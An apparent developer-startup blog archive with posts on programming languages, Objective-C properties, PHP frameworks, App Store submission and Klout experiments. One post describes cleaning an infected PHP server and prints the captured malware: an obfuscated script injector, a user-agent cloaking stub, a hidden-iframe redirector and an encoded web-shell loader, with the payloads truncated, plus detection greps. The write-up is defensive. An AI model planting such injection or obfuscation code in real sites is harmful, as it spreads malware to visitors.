RSS
 

Crushed Under the Tower of Software-Babble

02 May

BNF Syntax diagrams

I think my brain cells are shrinking—it is unbelievable how quickly I forget. Such is the life of a software developer, these days.It is amazing how quickly I can forget the details of one programming language detail over another after just a few weeks away—when I see my old code, I amaze myself at how good a programmer I was… last month!

No contemporary programmer can make it through the week with only one or even just two languages. If you are a web programmer, for example, you are probably spending a lot of time in PHP, Java, Python, or Ruby for back-end development. But when you are programming for the front-end, so that means, a lot of JavaScript coding as well. And if you are configuring your Linux server, then you might be hacking bash scripts.

Then there are the myriad of other syntax formats to keep track of, HTML, CSS, their variations (HTML 3, 4, 5, XHTML; CSS1, 2, 3), URL encoding, JSON, XML, YaML, and hundreds or thousands more!

Even if you are not, primarily, a web developer; every application, Windows, Mac, iPhone,  Android, etc. talks to the internet in some fashion (or probably should). So, in addition to C++, C#, Objective-C (uh, now, Objective-C 2.0), or whatever you might be using for the native application (god forbid that you are having to support more than one platform), you’ll have some of the formats and languages that have been popularized on the Web.

Of course, it doesn’t help when most of these languages share so much common syntax—C, Java, PHP, JavaScript, C#—but, each in their own unique fashion. Is there a constant for boolean true and false? Is it “True” and “False”, “true”/”false”, or “TRUE”/”FALSE”? What is the difference between single-quoted strings and double-quoted strings—or is one of them not allowed? Do I concatenate strings with a ‘.’, a ‘+’, or a function call? Are closure functions supported? How do I display output to the console? How do I retrieve the number of elements in an array? Is it “null”, “Null”, “NULL”,  “nil”, or “Nil”? Are variable names prefixed with ‘$’, ‘%’, or nothing?

I remember the days when someone would claim that a standard language would reduce the requirement for this proliferation of languages, it was said with C and, particularly with Java, and more recently with JavaScript. This is sometimes a little bit true, but mostly it’s marketing people espousing this and naïve developers believing it. (Though, in my own naïveté, I’m anticipating JavaScript to become the language of the future!)

In a perfect world, you could have different developers each focused on one technology—web front-end, web back-end, each OS platform technology—collaborating when necessary. No… in a perfect world, we’d all have photographic memories.

The problem is that all of these issues distract from the developer’s core problem-solving objective. Such is the life of a modern programmer, living on the bleeding-edge.

 

Fixing an Infected PHP Web Server

17 Apr

Darn if the ISP serving up our PHP and WordPress content wasn’t attacked with an exploit. So I did a lot of learning as I cleaned up my web server, this past weekend. The goal of this exploit was to infect visitors of the web site with viruses by coercing visitors’ browsers to download malware from predefined third-party sites, seeded with the malware. That means modifying web site code to send visitors to those malicious sites.

After noticing some strange behavior that tripped my anti-virus software on my Windows machine. I realized (using the browser’s “view source” function) that there was some unexpected JavaScript at the top of every page’s source:

<script>d=Date;d=new d();h=-parseInt(’012′)/5;if(window.document)try{Boolean(true).prototype.a}catch(qqq){st=String;zz=’al’;zz=’zv’.substr(1)+zz;ss=[];if(1){f=’fromCh’;f+=’arC’;f+=’qgode’["substr"](2);}w=this;e=w[f.substr(11)+zz];t=’y';}n="3.5!3.5!51.5!50!15!19!49! … 19!50!19.5!28.5!5.5!3.5!3.5!61.5"["split"]("a!".substr(1));for(i=4-1-2-1;i!=599;i++){j=i;if(st)ss=ss+st[f](-h*(1+1*n[j]));}if(zz)q=ss;if(t)e(""+q);</script>

Hunting for the Culprit(s)

Since the root of one of the sites is managed by our WordPress installation, I searched the site’s files for the errant code. It wasn’t found, so I had to dig deeper. I found that every index.php file across my account had a line of odd PHP code inserted at the beginning. (I no longer have the exact code because I wrote a script to clean up all those files and didn’t think to save an example). I’m not 100% positive how these files got modified (a little about that, later), but the gist of the exploit works like this:

  1. The first line of every index.php file contains something like the following:
    <?php eval(base64_decode('…'));?>
    

    The “…” is a very long sequence of characters—passed to the base64_decode() function.

  2. The encoded text decodes as following PHP code:
    error_reporting(0);
    $bot = FALSE ;
    $ua = $_SERVER['HTTP_USER_AGENT'];
    $botsUA = array('12345','alexa.com','anonymouse.org','bdbrandprotect.com','blogpulse.com','bot','buzztracker.com','crawl','docomo','drupal.org','feedtools','htmldoc','httpclient','internetseer.com','linux','macintosh','mac os','magent','mail.ru','mybloglog api','netcraft','openacoon.de','opera mini','opera mobi','playstation','postrank.com','psp','rrrrrrrrr','rssreader','slurp','snoopy','spider','spyder','szn-image-resizer','validator','virus','vlc media player','webcollage','wordpress','x11','yandex','iphone','android','chrome');
    foreach ($botsUA as $bs) {
      if(strpos(strtolower($ua), $bs)!== false) {
        $bot = true; break;
      }
    }
    if (!$bot) {
      echo(base64_decode('…');
    }
    

    If the “browser” is not a bot, scanner, mobile device, not from OS X, etc., then the “…” data is decoded and ins inserted into the page content sent to the browse—for the most part, this is primarily targeted at Windows machines running Firefox or Internet Explorer.

  3. The code inserted into the beginning of the output is a <script> tag of JavaScript code, shown at the beginning of this article. This obfuscated code is functionally the same as:
    ss=[];
    n="3.5!3.5!51.5!50!15!19!49! … 19!50!19.5!28.5!5.5!3.5!3.5!61.5".split("!");
    for(i=0; i != n.length; i++) {
      j=i;
      ss=ss + String.fromCharCode(2*(1+1*n[j]));
    }
    eval(""+ss);
    
  4. The client (browser) interprets the JavaScript which decodes and evaluates more JavaScript. This code creates a iframe, if there is a body tag, which auto-refreshes a link to web address; presumably, to download malicious code to the user’s Windows machine. The “…” below is a reference to one of many malware sites.
    if (document.getElementsByTagName('body')[0])
    {
      iframer();
    } else {
      document.write("");
    }
    function iframer()
    {
      var f = document.createElement('iframe');
      f.setAttribute('src','http:// … /?go=2');
      f.style.visibility='hidden';
      f.style.position='absolute';
      f.style.left='0';
      f.style.top='0';
      f.setAttribute('width','10');
      f.setAttribute('height','10');
      document.getElementsByTagName('body')[0].appendChild(f);
    }
    

Hunting for the Attacker

That’s how this exploit works, but how did that code get onto the servers?

All the millions Windows machines share the same hardware and operating system definitions; so virus attacks can be written in tiny, unreadable, efficient binary executables. But in order to build an attack that’ll work against the widest variety of web servers (whether Windows, OS X, Solaris, Linux or Unix variants, or other hardware or operating system platform), they need to be in a text form that can be interpreted across a wide variety of web servers. PHP is the most popular web server technology on the planet (Facebook is running, largely, on PHP), so writing exploits against PHP web servers covers a broad swath of the internet.

With the help of my ISP, we eventually located some suspicious files that provided backdoor access to the web server’s file system and allowed an attacker to execute commands on the server without direct access, as I have.

We found several oldlib.php files and a courses.php that implement the “Backdoor PHP/WebShell.A” exploit—they can have any name. The key is that these files must be accessible via web URL so that the attacker can gain access to the web server with full access.

<?php $auth_pass = " … "; $color = "#df5"; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251'; preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/D … 13SwzDxAYT72vwA='\x29\x29\x29\x3B",".");?>

The last line resolves to a more readable:

preg_replace("/.*/e","eval(gzinflate(base64_decode('7X1re9s2z/Dn9Vcwmjf … 13SwzDxAYT72vwA=')));",".");

This statement expands out to a 63KB of PHP code which provides a backdoor user-interface to the web server, a Trojan known as Backdoor PHP/Shell.G!  Access to this file by an attacker can wreak whatever havoc they wish; such as infecting all the index.php files with the code above.

But that malware may not have infected my index.php files. I also found several identical unencrypted PHP files that are identified as Backdoor PHP/RST.AC. Their file-names begin with “wp-” so I am guessing that this is a specific WordPress attack. These files simply needed to be deleted.

The Fix

To fix the infected (mostly index.php) files, I simply needed search for eval(base64_decode( on the first line of every file. I’ve written the following Bash shell-script, called “fix” to do this:

for file in "$@"; do
  echo --- Trying `wc -l $file`
  if grep -n 'eval(base64_decode(' $file | grep '\^1:'; then
    cp -p $file $file.virus
    tail -n+2 $file.virus>$file
    echo Fixed `wc -l $file`
  else
    echo !!! Cannot fix $file
fi
done

You can run it by executing:

fix `grep -lr --exclude-dir=~/logs 'eval(base64_decode(' *`

The grep command searches files for code that evaluates encoded data—a clear indication that the code is trying to hide its true intent. The script backs up the infected file, suffixing its name with “.virus” and deletes the offending code from the first line. When, when you are satisfied that the fixes didn’t break anything, you can delete the backed-up infected files:

rm `find . -name '*.virus'`

Also look for files implementing the PHP/WebShell.A exploit (and perhaps others) that try to hide the “eval(” call by encoding its text in the form of hex characters.

grep -lr '\x65\x76\x61\x6C\x28'

Check out Website security: How to find backdoor PHP shell scripts on a server for more tips on how to suss out other exploits.

Securing PHP Web Servers

I have a lot to learn about how to secure the server from future backdoors from being installed. I don’t know if this is 100% preventable when I rely on such versatile applications as WordPress running on it, but two tips you might keep in mind:

  1. Make sure installed software (e.g., WordPress) is up to date as well as any plugins, themes, and other customizations.
  2. Make sure that any code you have does not allow global writable permissions (this is what allows easy dropping of files and file modifications to a web-server’s file-system). To scan for writable files and directories, try
    find ~ -perm -002

Resources

Enhanced by Zemanta
 
 

Avoid Objective-C Bugs w/Properties and Instance Variables (ivar)

25 Nov

Objective-C is the programming language of choice for iOS an Mac OSX programming, so becoming proficient in native programming for those platforms is essential to building great applications. Apple emphasizes that programmers must understand the “retain-release” model of how to manage objects. True, but this is not enough. Unfortunately, Objective-C makes it exceedingly easy to inadvertently write code that breaks the retain-release model, leading bugs that cause programs to crash.  You can adopt some practices to avoid such problems.

Retain-release is a mechanism for managing reference counts on a dynamically allocated object. It is common for an object to refer to another via its instance variables (or as Apple development documentation likes to call them, “ivars”). Instance variables and “properties” are conceptually equivalent, and most Apple docs assume you understand the distinction, so it is often not clear that there is a distinction. In fact, most of the time your program should be using properties (and not ivars, directly). The problem is that Objective-C makes it easier to refer to an ivar than its property, making it exceedingly easy to  bypass important functionality associated with the property—functionality that implements important retain-release calls.

Objective-C Instance Variables (ivars) vs. Properties

Objective-C claims to be a pure superset of C. An instance variable is exactly the same as a C struct member data item; it is where a data items is stored and there is no functionality implicitly associated with that data item. In Objective-C, an instance variable is declared like this:
@interface MyClass
{
   NSObject *objValue;
}
@end

Within a method of the class, access to instance variables follow normal C/C++ syntax which allows them to be, simply, referenced by their name:

self->objValue = obj;    // Explicit reference to ivar; which is the same as
objValue = obj;          // Implicitly assumed reference to ivar

Objective-C  allows a “property” to correspond to a class’s instance variable:

@interface MyClass
{
    NSObject *objValue;
}

@property (retain) NSObject *objValue;
@end

@implementation MyClass
@synthesize objValue;
@end
The Objective-C compiler injects “accessor” code (i.e., getter/setter methods) to take care of  (retain/release) reference counting and other rote, complex, tedious tasks. The compiler generated code alleviates you from having to write such complex code—which helps to avoid crashes due to retain-release errors. So it is best to use properties rather than accessing the ivars directly. Referencing a property can be written as (note the dot ‘.‘ rather than ‘->‘, shown above):
self.objValue = obj;
While you should use properties rather than values, it is all to easy to make the mistake of referring to the value as an ivar rather than the property (as shown above):
objValue = obj;                 // Use the ivar—does not use property's setter

Since it is so easy to refer to the instance variable rather than the desired property, use distinct names for each ivar and its property to avoid inadvertent references to the ivar:

@interface MyClass
{
   NSObject *_objValue;         // Name, distinct from its property's name
}

@property NSObject *objValue;   // Common, property name
@end

@implementation MyClass
@synthesize objValue=_objValue; // Associate the ivar w/property

@end
Then, references to the property-name, alone, will result in a compiler error:
objValue = obj;   // !!! Yields a compiler error since there's no ivar of that name.

Apple ought to get off their “superset of C” horse since they’ve made so many changes already and change the meaning of unadorned symbol names to default to the property, if it is declared. This would break some code, but they already make a distinction between C/C++, Object-C, and mixed C/C++ and Object-C source files, this should be included in that distinction. Read the rest of this entry »

 
 

Buried in PHP Frameworks

30 Sep

With thanks to “moomin lens” via Flickr http://www.flickr.com/photos/jumpn_around/185876077/

There are 100s of PHP frameworks out there, but I have been so frustrated with so many of them; they are either too complex, not well designed, not well documented, buggy, or all of the above. Also, there is a lot of great technology for PHP that are notfull frameworks. It’d be nice to have a framework that does not try to do everything but, instead, allow easy integration of “best of breed” technologies. And a much more subjectively, only a subset of frameworks out there (though growing) embrace object design as typical of traditional, non-web programming using C++, Java, C#, etc. PHP 5 allows that kind of programming, but not all framework developers have embraced that approached it yet. I’ve spend a non-trivial amount of time with the following (well, I haven’t spend enough time with Kohana, yet):

  • Symfony — very powerful but requiring a very steep learning curve. If all you do is PHP and Symfony, all day long, then this might be for you, but it involves a lot of “moving pieces” and if you don’t use it regularly, you are likely to forget how things work.
  • DooPHP — the style is very much in line with my way of thinking, but the primary download did not work, the documentation was woefully out of date, and it depended on reading and understanding the source or interacting with the few, snide secondary maintainers to understand how to use, at the time, undocumented APIs.
  • PiePHP — tight integration between the front-end code and back-end PHP pieces with many considerations for performance. If your web site happens to match the way that PiePHP is set up, then great, but otherwise the front-end is tightly tangled up with the back end (and it does not appear to be maintained anymore). Due to the lack of documentation and support, this requires a close reading of the source to understand how to use the framework.
  • CodeIgniter — One of the most popular PHP frameworks, today, but I did not like the feel of it; it had the feel old-school web-programming, rather than a modern object oriented approach. This a really bad reason to dismiss a framework, but if I had to do the work, then I’d better be comfortable with it.
  • Kohana — claims to be an object-oriented derivation of CodeIgniter; sounds promising… I wanted to pursue this more, but for reasons that I will get into later, I have not done that yet.

After having gone through several frameworks, I decided that I should expedite my search by enumerating a list of features that I want in a PHP framework. Herewith, my preliminary list of goals and features for a PHP framework: Read the rest of this entry »

 

Facebook f8 Conference Live Stream

22 Sep


We are excited to watch the Facebook developers conference live stream. Last night we started experiencing programmers pain since they’ve rolled out some changes prior to updating the documentation. The Hand Things Down app which is launching this weekend has broken so we are anxiously awaiting updates to the documentation. We are hoping to stay on our release schedule and will likely have to work night and day to hit our deadlines. Hurry up Zuck!

Enhanced by Zemanta
 
No Comments

Posted in Startup

 

Journey to Extreme Pitch

31 Aug

I recorded this video after coming home from Extreme Pitch. I wanted to give advice on what to do to calm yourself before a pitch. I think I managed to say don’t drink too much coffee and go to yoga, that advice probably won’t work for most people. Sorry guys!

Instead, I introduced the company my co-founder Bill Lee and I launched at Extreme Pitch which is called Hand Things Down. Hand Things Down is social trading for busy moms. We have an iphone app in private beta and a website in development to help make trading for your kids stuff easier. Our company was interviewed by local news in Arizona (will update this when that video goes live).

Background: Journey to Extreme Pitch

After an amazing experience with new friends from Founder Institute (FI) in Seattle, I was in search of the entrepreneurial community when I moved back to Arizona. My goal was to maintain the momentum from FI and collaborate with other founders to help push our companies forward. I went to Gangplank for Startup Weekend and worked with a great team on another business. Startup Weekend then flowed into Roadmap to Launch which was 60 days of mentoring from the Fasttrac team of Philip Blackerby, Francine Hardaway, and Ed Nusbaum. The culmination of Roadmap to Launch was the opportunity to launch our company at Extreme Pitch in front of local press.

Staying Connected

The whole reason I went in search of a local startup community is because without it, development of your business or product slows down. The ideas from other people fuel your own creativity and their enthusiasm adds to the passion you already have to succeed. This is why it’s important to stay connected as an entrepreneur, have mentors to bounce your crazy ideas off of and to be held accountable for moving forward instead of spinning around after the next shiny new technology. Getting out of the house a couple days a week to work in a collaborative space creates the variety or excitement an entrepreneur craves. Roadmap to Launch provided the structure of an incubator and the camaraderie of having other entrepreneurs to check in with when you got stuck on something. Everyone has a skill they bring and most people are willing to help each other in their areas of strength in exchange for help in areas they need help. Bill and I have a benefited from fellow entrepreneurs or mentors, in addition to our own team of advisors through this sort of intellectual bartering. We give back to the community by freely sharing our experience.

Enhanced by Zemanta
 
No Comments

Posted in Startup

 

I Just Want to Submit a Frickin’ iPhone App to the App Store! (Part 3)

28 Jul

Way back in in “I Just Want to Create a Frickin’ iPhone App! (Part 1),” I walked you through the logistics of joining the developer program (no, you didn’t miss “Part 2,” I have not written it yet). Fast-forward a couple of months and it’s time to submit to the app store! For a company that has built a reputation on simplicity, Apple has concocted an arcane process and made it worse by not providing any complete nor accurate information to help with the application submission process.  Apple’s minimalistic approach is of no help… you often feel like your flying blind as you try to make your way through the process. I’ll try to give some heads-up and clarity if you, too, are going through this for the first time.

So, let’s hope I can remember all that I went through.

  1. Create specific App ID: iOS Provisioning PortalApp IDsNew App ID.  (Note: you cannot delete App IDs once they are created).
    1. Enter a name for this application. This is just for reference; it will not appear to a user.
    2. Select the “Bundle Seed ID”. Normally you will want to select the one that was assigned to you, in the drop down.
    3. Define the App ID Suffix.  This has to match the ID that is bound into the application, so you will probably want to copy the one assigned to the application you’ve been building, lest it be recognized as an entirely new application. This is not critical, but if you have beta testers and you change the App ID, the next update will not overwrite the older version of the app, they will have to delete the old one, explicitly.To find (or change) the current Bundle identifier in Xcode 4.x, select the Target of the project. The Summary tab shows the Bundle identifier in the “Identifier” field; or, in the “Info” tab, it shown as “Bundle identifier”. Of course, these settings come from the project’s .plist file, so you can access its “CFBundleIdentifier” (aka “Bundle identifier”) explicitly. The value in the app should be the reverse domain name, for example, “com.handthingsdown.htdmobile”; do not prefix the “Bundle Seed ID” to the bundle identifier in the app.
    4. This value should match the Bundle Identifier field when creating a new App ID. As noted in the “How To” tab, you can use wildcards for this value; however, a fully qualified ID is necessary to utilize the various services (e.g., Push Notification, Game Center, iCloud).
  2. Create an App Store provisioning file:  iOS Provisioning Portal →ProvisioningDistributionNew Profile.
    1. Be sure the “Distribution Method” is set to “App Store”.
    2. Select the App ID from the previous step to associate with your application.
    3. You wont have to — or be able to — select devices to include, as you would for ad hoc provisioning.
  3. Once the profile has been created, download and add it to your Xcode profiles.
  4. Create an archive build of your application, build for release and utilizing the App Store provisioning profile.
    1. If you haven’t already, you may want to duplicate the Release build-configuration to “Distribution App Store” (making sure that the target is not selected go to Xcode’s menu: Editor →Add Configuration →Duplicate “Release” Configuration.
    2. In the project’s target’s go to Build Settings →Code Signing →Code Signing Identity.  Below the build configuration you will use to build the Archive, set the “Any iOS SDK” setting to the provisioning profile you created for distribution to the App Store. (For the build configuration itself, I selected “Don’t Code Sign”; but I do not know if that matters).
    3. Modify build scheme’s Archive to use the build configuration you configured and build the Archive.
    4. From the Organizer’s Archive view, select and “Validate…” the binary. This performs (only) some tests of the module before uploading.
    5. We will jump away from Xcode for a moment….
  5. So you thought you were done signing up with programs with Apple? First an Apple ID, then the Developer Center, then an iOS Developer, and now iTunes Connect, itunesconnect.apple.com. Go to a web page and set up an account. This is where you will manage the applications that you submit to the App Store.
  6. Once your account is created, go to “Manage Your Apps” and select “Add New App”.
  7. Fill in the app name, SKU, and select a Bundle ID. Note that none of these settings can be changed once the app has been accepted by Apple.
  8. Click the “Ready to Upload Binary” button to start the process. The upload does not occur via the web page.
  9. Go back to Xcode. Since the Archive was just built, the Organizer window should be open with the Archive view shown. Be sure the correct Archive is selected (at the top of the list).
  10. Upload your application to Apple. There is the new, complicated way (which I used) and an old simpler way, that should still work—so I hear. So, back to Xcode…
    1. First, the old, simple way.  Ignore the messages on the iTunes Connect web page about the Application Loader. From Xcode’s Organizer window’s Archive’s view, click the “Submit…” button. That’s it!
    2. Now the difficult way:
      1. Click the ”Share…” button. to build “iOS App Store Package”
      2. Select App Store certificate
      3. Open Application Loader and follow its steps to upload the .ipa file that was created in Xcode.
  11. Once the module has been submitted, there are additional automated checks that take place. So, wait an hour or so and check back at the iTunes Connect page. The status should change, if the module was accepted. If not, check your email to see what kind of errors may have occurred.
  12. If it passed the automated checks, you can now wait nervously for actual humans to vette the application. Expect this to take a full week.
Good Luck! Let me know what your experiences are.

Resources

Enhanced by Zemanta
 

I Think, Therefore I Tweet #twitterjunkie

15 Jul

I am addicted to Twitter. There, I said it, admitting it is the first step, right? Over the last year, posting to Facebook has diminished, especially as I became more and more fascinated by Twitter. The biggest attraction is real-time news whether it’s what’s trending locally, articles about technology or startups, or conversations about my favorite topics. I love reading and consuming what’s going on, even if I do most of my reading late at night and into the wee hours of the morning.

I love sharing information and the conversations around various hashtags opens my mind to different ideas. During the work day, I limit information consumption so I can power through my to do list and have productive meetings. Yet the minute I get a free moment I’m compelled to check the feed to see what’s going on. Does anyone else feel this way? Hidden obsessive-compulsive tendencies?

It’s ok, if you don’t follow me. I tweet up to a hundred times a day which can be overwhelming to a casual user or anyone new to Twitter.

This is what I post:

  • Content from startup or social media events.
  • Content I’m reading, using Twitter to “bookmark” since it’s automagically backed up on Backupify.
  • Conversations on the following hashtags: #startup, #leanstartup, #smcphx, #socialmedia, #UFC, #phxlatenite
  • Random thoughts throughout the day.
  • Checkins on Gowalla/Foursquare/Facebook/Google+

Here are the mobile Twitter apps I use for iPhone:

    • Echofon – my favorite for browsing the feed and having twitter conversations.
    • Smartr – to read articles tweeted by people I follow without the noise of the conversations.

Hootsuite – to schedule articles and shorten links.

  • Tweetdeck – to post tweets longer than 140 chars, it’s laggy on my device so I use it very rarely.
  • Twitter – I use this the least and can’t figure out why I haven’t deleted it.

What are your favorite Twitter apps? Who else is addicted to Twitter?

20110715-055338.jpg
Image credit: Steve Rhodes

 
 

Harder to Lose Klout When You Actually Engage

14 Jul

When you’re involved in social media, engagement is everything. Do you ever wonder what would happen if you suddenly stopped posting? This is the question I wanted to answer with the experiment on “How to Trash Your Klout Score“. Business owners believe social media needs near constant engagement, one of the questions I wanted to answer was what is the bare minimum you need to do so you can run your business or even go on vacation while still providing your customers a great online experience. I will post those guidelines after the experiment ends on July 17.

Seven days into the experiment, my Klout score is holding steady at 52 points. I had to tweet for an hour on July 8th for the Social Media Club Twitter Chat on the topic of Finding Balance for your Professional and Personal Life Online. If you look at each data point in the graph my score was going up incrementally for a couple days after this event. Since I stopped tweeting on my account it had a negative impact on Merlin U Ward’s (@MerlinUWard) brand, resulting in a 6% drop in reach for him. You can read the details and additional metrics on Merlin’s blog.

When I started the experiment on my Klout score, I never thought it would impact anyone else. Merlin bet my Klout score would drop 5 points, my goal was to drop 7 points. For people or businesses who only push out content or talk AT people, disconnecting may not have noticeable impact on anyone else’s reach. I believe Merlin’s reach dropped since we use Twitter as if it was instant messaging and texting to discuss my favorite topics, technology and business or fun things like #futzing and #wordswithfriends. I post a lot of articles on startups and entrepreneurship which ties into the conversations we are having publicly, you can think of it as tweet radio.

Klout score steady at 52 points after 7 days of inactivity.

The interesting side effect of this experiment is how the Klout score for my business account has gone UP. I’ve been tweeting out of the Hand Things Down Twitter account (@handthingsdown) and using it to have conversations I would normally have on my personal account. The other night, there was an informal Twitter chat about when the next #Twilight movie “Breaking Dawn” would be premiering. The Twilight series is near and dear to most moms which is the group I normally socialize with on this account. Since using @handthingsdown to have more conversations, the Klout score went up nearly 4 points in a week!

The lesson from the last few days; your Klout score will go up dramatically just by talking to people and BEING SOCIAL, it is after all social media. It’s not an exotic animal to be gawked at from the outside, it’s more like happy hour where you get to know people and discuss topics you are passionate about.

Enhanced by Zemanta
 
1 Comment

Posted in Marketing

 

How to Trash Your Klout Score

07 Jul

I’ve been following a social experiment with great interest over the last couple of weeks. Merlin U Ward challenged himself to become influential over #futzing in Klout in 10 days. He chose a word that wouldn’t be used in normal conversation for his “scientific” experiment. At first, I ignored using the #futzing hashtag on Twitter, hoping it would go away because I didn’t know what it meant. I also had no desire to accidentally have #futzing attached to my name. When I realized I can hide word in Klout I decided to join in on the fun, as a by product my own Klout score raised 4 points over 30 days, even going up 1 point in the last 5 days.

I thought this was interesting since social media junkies are all slightly obsessed with raising Klout. I’ve never been one to follow the pack so why not do the exact opposite for 10 days?

In an effort to see the results of influence within Twitter, I disconnected my Facebook account which resulted in an immediate 2 point drop in Klout. Then I disconnected Linkedin to receive a 4 point drop in Klout to 52 points.

10 Day Plan

  • Last tweets before going silent is to moderate the Social Media Club Phoenix Chat on how to separate your professional and personal life online on July 8 from 2:00 – 3:00 pm using the hashtag #smcphxchat
  • Respond to @mentions on DM to reduce the number of tweets from my account to nearly zero over the next 10 days. This will be hard since I’ve recently switched to using Twitter to replace instant messaging and text messaging. Most of my conversations are public, I have no secrets.
  • Don’t post any content I’m reading to Twitter, post directly to Linkedin.

Report back in 5 days with a screenshot showing the Klout score at that time.

If you want to follow this experiment, don’t forget to sign up to get it delivered to your mailbox or RSS reader. You can also follow on Twitter @CherylMarquez.


Klout score after disconnecting Facebook and before disconnecting Linkedin.

Cheryl Marquez's Klout is 56 on July 7

Klout score after disconnecting LinkedIn.

Cheryl Marquez's Klout score is 52 after disconnecting Facebook & Linkedin on July 7.

Note: This entire post was written on my iPod Touch in Evernote, then pasted into the WordPress app. This is why the screenshots of Klout are from an iOS device instead of the web.

 
3 Comments

Posted in Marketing